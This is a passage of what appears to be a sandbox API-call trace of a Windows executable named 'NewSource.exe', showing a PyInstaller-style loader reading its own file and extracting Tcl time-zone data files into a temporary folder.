lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.824] GetFileType (hFile=0x10c) returned 0x1 [0040.825] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.825] CloseHandle (hObject=0x10c) returned 1 [0040.825] GetLastError () returned 0x0 [0040.825] SetLastError (dwErrCode=0x0) [0040.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.834] GetFileType (hFile=0x10c) returned 0x1 [0040.834] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.834] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.834] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.834] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.834] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.834] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.834] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.834] CloseHandle (hObject=0x10c) returned 1 [0040.834] GetLastError () returned 0x0 [0040.834] SetLastError (dwErrCode=0x0) [0040.834] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda") returned 73 [0040.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\bermuda"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.835] GetLastError () returned 0x2 [0040.835] SetLastError (dwErrCode=0x2) [0040.835] GetLastError () returned 0x2 [0040.835] SetLastError (dwErrCode=0x2) [0040.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda", lpFilePart=0x0) returned 0x48 [0040.835] GetLastError () returned 0x2 [0040.835] SetLastError (dwErrCode=0x2) [0040.835] GetLastError () returned 0x2 [0040.835] SetLastError (dwErrCode=0x2) [0040.835] GetLastError () returned 0x2 [0040.835] SetLastError (dwErrCode=0x2) [0040.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda") returned 73 [0040.835] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Bermuda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\bermuda"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.836] GetFileType (hFile=0x10c) returned 0x1 [0040.836] htonl (hostlong=0x41e0000) returned 0x1e04 [0040.836] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.837] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.837] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe04, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe04, lpOverlapped=0x0) returned 1 [0040.837] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.837] CloseHandle (hObject=0x10c) returned 1 [0040.837] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.837] htonl (hostlong=0x30000000) returned 0x30 [0040.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.837] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.837] GetFileType (hFile=0x10c) returned 0x1 [0040.837] htonl (hostlong=0xc6415b00) returned 0x5b41c6 [0040.837] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ff1c6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.837] htonl (hostlong=0xd0050000) returned 0x5d0 [0040.837] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5d0) returned 0x550600 [0040.837] htonl (hostlong=0xd0050000) returned 0x5d0 [0040.837] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.838] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.839] htonl (hostlong=0xee190000) returned 0x19ee [0040.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19ee) returned 0x561090 [0040.839] htonl (hostlong=0xd0050000) returned 0x5d0 [0040.839] htonl (hostlong=0xee190000) returned 0x19ee [0040.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a88 [0040.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a88 | out: hHeap=0x530000) returned 1 [0040.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.839] CloseHandle (hObject=0x10c) returned 1 [0040.839] GetLastError () returned 0x0 [0040.839] SetLastError (dwErrCode=0x0) [0040.839] GetLastError () returned 0x0 [0040.839] SetLastError (dwErrCode=0x0) [0040.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.839] GetFileType (hFile=0x10c) returned 0x1 [0040.839] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.839] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.840] CloseHandle (hObject=0x10c) returned 1 [0040.840] GetLastError () returned 0x0 [0040.840] SetLastError (dwErrCode=0x0) [0040.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.840] GetFileType (hFile=0x10c) returned 0x1 [0040.840] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.840] CloseHandle (hObject=0x10c) returned 1 [0040.840] GetLastError () returned 0x0 [0040.840] SetLastError (dwErrCode=0x0) [0040.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.841] GetFileType (hFile=0x10c) returned 0x1 [0040.841] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.841] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.841] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.841] CloseHandle (hObject=0x10c) returned 1 [0040.841] GetLastError () returned 0x0 [0040.842] SetLastError (dwErrCode=0x0) [0040.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary") returned 72 [0040.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\canary"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.842] GetLastError () returned 0x2 [0040.842] SetLastError (dwErrCode=0x2) [0040.842] GetLastError () returned 0x2 [0040.842] SetLastError (dwErrCode=0x2) [0040.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary", lpFilePart=0x0) returned 0x47 [0040.842] GetLastError () returned 0x2 [0040.842] SetLastError (dwErrCode=0x2) [0040.842] GetLastError () returned 0x2 [0040.842] SetLastError (dwErrCode=0x2) [0040.842] GetLastError () returned 0x2 [0040.842] SetLastError (dwErrCode=0x2) [0040.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary") returned 72 [0040.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Canary" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\canary"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.842] GetFileType (hFile=0x10c) returned 0x1 [0040.842] htonl (hostlong=0xee190000) returned 0x19ee [0040.842] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.843] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9ee, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9ee, lpOverlapped=0x0) returned 1 [0040.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.844] CloseHandle (hObject=0x10c) returned 1 [0040.844] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.844] htonl (hostlong=0x30000000) returned 0x30 [0040.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.844] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.844] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.844] GetFileType (hFile=0x10c) returned 0x1 [0040.844] htonl (hostlong=0x96475b00) returned 0x5b4796 [0040.844] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ff796, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.844] htonl (hostlong=0xae000000) returned 0xae [0040.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x55cfe0 [0040.844] htonl (hostlong=0xae000000) returned 0xae [0040.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.844] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.845] htonl (hostlong=0xee000000) returned 0xee [0040.845] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xee) returned 0x550600 [0040.845] htonl (hostlong=0xae000000) returned 0xae [0040.845] htonl (hostlong=0xee000000) returned 0xee [0040.845] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.845] CloseHandle (hObject=0x10c) returned 1 [0040.845] GetLastError () returned 0x0 [0040.845] SetLastError (dwErrCode=0x0) [0040.845] GetLastError () returned 0x0 [0040.845] SetLastError (dwErrCode=0x0) [0040.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.845] GetFileType (hFile=0x10c) returned 0x1 [0040.845] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.845] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.845] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.845] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.846] CloseHandle (hObject=0x10c) returned 1 [0040.846] GetLastError () returned 0x0 [0040.846] SetLastError (dwErrCode=0x0) [0040.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.846] GetFileType (hFile=0x10c) returned 0x1 [0040.846] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: 